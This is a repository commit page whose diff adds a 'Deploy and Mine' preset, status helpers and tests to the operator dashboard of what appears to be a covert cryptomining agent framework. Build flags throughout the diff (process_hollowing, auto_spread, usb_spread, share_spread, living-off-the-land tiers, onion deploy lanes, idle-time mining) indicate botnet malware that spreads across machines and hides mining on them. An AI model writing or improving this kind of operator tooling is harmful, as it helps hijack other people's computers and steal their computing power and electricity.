Add simple Deploy and Mine path for operators without spread complexity.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.
This commit is contained in:
@@ -65,6 +65,8 @@ export function pickBestServerUrl(current: string, candidates: string[]): string
|
||||
export function recommendedForgePreset(): Partial<BuildRequest> {
|
||||
return {
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
simple_deploy: true,
|
||||
miner_execution: 'inprocess',
|
||||
mining_mode: 'idle',
|
||||
idle_threshold_pct: 20,
|
||||
idle_duration_minutes: 5,
|
||||
|
||||
65
server/web/src/help/simpleDeploy.test.ts
Normal file
65
server/web/src/help/simpleDeploy.test.ts
Normal file
@@ -0,0 +1,65 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import type { Agent } from '../types';
|
||||
import {
|
||||
agentsConnectedNotHashing,
|
||||
simpleDeployStatus,
|
||||
simpleMinePreset,
|
||||
} from './simpleDeploy';
|
||||
|
||||
function agent(partial: Partial<Agent>): Agent {
|
||||
return {
|
||||
id: 'a1',
|
||||
name: 'host-1',
|
||||
status: 'online',
|
||||
hashrate_15s: 0,
|
||||
hashrate_1m: 0,
|
||||
hashrate_15m: 0,
|
||||
...partial,
|
||||
} as Agent;
|
||||
}
|
||||
|
||||
describe('simpleDeployStatus', () => {
|
||||
it('reports mining when hashrate > 0', () => {
|
||||
const s = simpleDeployStatus(agent({ hashrate_15m: 420, lotl_tier: 'cpu_inprocess' }));
|
||||
expect(s.phase).toBe('mining');
|
||||
expect(s.message).toMatch(/420/);
|
||||
expect(s.message).toMatch(/cpu inprocess/i);
|
||||
});
|
||||
|
||||
it('reports testing when online without hashrate', () => {
|
||||
const s = simpleDeployStatus(agent({ lotl_tier: 'container' }));
|
||||
expect(s.phase).toBe('testing');
|
||||
expect(s.message).toMatch(/container/i);
|
||||
});
|
||||
|
||||
it('reports failed when chain exhausted', () => {
|
||||
const s = simpleDeployStatus(agent({ chain_exhausted: true, last_error: 'pool unreachable' }));
|
||||
expect(s.phase).toBe('failed');
|
||||
expect(s.message).toMatch(/pool unreachable/);
|
||||
});
|
||||
|
||||
it('reports offline when not online', () => {
|
||||
expect(simpleDeployStatus(agent({ status: 'offline' })).phase).toBe('offline');
|
||||
});
|
||||
});
|
||||
|
||||
describe('agentsConnectedNotHashing', () => {
|
||||
it('filters online zero-hash agents', () => {
|
||||
const list = agentsConnectedNotHashing([
|
||||
agent({ id: '1', hashrate_15m: 0 }),
|
||||
agent({ id: '2', hashrate_15m: 100 }),
|
||||
agent({ id: '3', status: 'offline', hashrate_15m: 0 }),
|
||||
]);
|
||||
expect(list.map((a) => a.id)).toEqual(['1']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('simpleMinePreset', () => {
|
||||
it('disables spread and enables simple_deploy', () => {
|
||||
const p = simpleMinePreset();
|
||||
expect(p.simple_deploy).toBe(true);
|
||||
expect(p.miner_execution).toBe('inprocess');
|
||||
expect(p.lotl_onion_enabled).toBe(false);
|
||||
expect(p.auto_spread).toBe(false);
|
||||
});
|
||||
});
|
||||
99
server/web/src/help/simpleDeploy.ts
Normal file
99
server/web/src/help/simpleDeploy.ts
Normal file
@@ -0,0 +1,99 @@
|
||||
import type { Agent } from '../types';
|
||||
import { formatHashrate } from './fleetFilters';
|
||||
|
||||
export type SimpleDeployPhase = 'offline' | 'testing' | 'mining' | 'failed';
|
||||
|
||||
export interface SimpleDeployStatus {
|
||||
phase: SimpleDeployPhase;
|
||||
message: string;
|
||||
tier?: string;
|
||||
hashrate?: number;
|
||||
}
|
||||
|
||||
/** Human status for deploy→test→mine operator path. */
|
||||
export function simpleDeployStatus(agent: Agent): SimpleDeployStatus {
|
||||
if (agent.status !== 'online') {
|
||||
return { phase: 'offline', message: 'Agent offline — run the forged worker on the host' };
|
||||
}
|
||||
|
||||
const hr =
|
||||
agent.mining_hashrate ??
|
||||
agent.hashrate_15m ??
|
||||
agent.hashrate_15s ??
|
||||
0;
|
||||
const tier = agent.lotl_tier || agent.active_method || undefined;
|
||||
|
||||
if (hr > 0) {
|
||||
const label = tier ? tier.replace(/_/g, ' ') : 'in-process';
|
||||
return {
|
||||
phase: 'mining',
|
||||
message: `Mining on ${label} at ${formatHashrate(hr)}`,
|
||||
tier,
|
||||
hashrate: hr,
|
||||
};
|
||||
}
|
||||
|
||||
if (agent.chain_exhausted) {
|
||||
const err = agent.last_error || agent.failed_methods?.[0]?.reason;
|
||||
return {
|
||||
phase: 'failed',
|
||||
message: err || 'Mining chain exhausted — all tiers failed',
|
||||
tier,
|
||||
};
|
||||
}
|
||||
|
||||
if (tier) {
|
||||
return {
|
||||
phase: 'testing',
|
||||
message: `Testing tier ${tier.replace(/_/g, ' ')} — waiting for hashrate`,
|
||||
tier,
|
||||
};
|
||||
}
|
||||
|
||||
return {
|
||||
phase: 'testing',
|
||||
message: 'Connected — probing mining tiers (no spread phase on simple deploy)',
|
||||
};
|
||||
}
|
||||
|
||||
/** Online agents that registered but report zero hashrate. */
|
||||
export function agentsConnectedNotHashing(agents: Agent[]): Agent[] {
|
||||
return agents.filter(
|
||||
(a) =>
|
||||
a.status === 'online' &&
|
||||
(a.mining_hashrate ?? a.hashrate_15m ?? a.hashrate_15s ?? 0) <= 0
|
||||
);
|
||||
}
|
||||
|
||||
/** Forge preset: registry + in-process mining, no spread or triple onion. */
|
||||
export function simpleMinePreset(): {
|
||||
simple_deploy: boolean;
|
||||
miner_execution: string;
|
||||
lotl_onion_enabled: boolean;
|
||||
lotl_policy_from_server: boolean;
|
||||
auto_spread: boolean;
|
||||
usb_spread: boolean;
|
||||
share_spread: boolean;
|
||||
spread_kit: boolean;
|
||||
gpu_enabled: boolean;
|
||||
process_hollowing: boolean;
|
||||
remote_aggressive: boolean;
|
||||
fusion_enabled: boolean;
|
||||
mining_mode: string;
|
||||
} {
|
||||
return {
|
||||
simple_deploy: true,
|
||||
miner_execution: 'inprocess',
|
||||
lotl_onion_enabled: false,
|
||||
lotl_policy_from_server: false,
|
||||
auto_spread: false,
|
||||
usb_spread: false,
|
||||
share_spread: false,
|
||||
spread_kit: false,
|
||||
gpu_enabled: false,
|
||||
process_hollowing: false,
|
||||
remote_aggressive: false,
|
||||
fusion_enabled: false,
|
||||
mining_mode: 'idle',
|
||||
};
|
||||
}
|
||||
Reference in New Issue
Block a user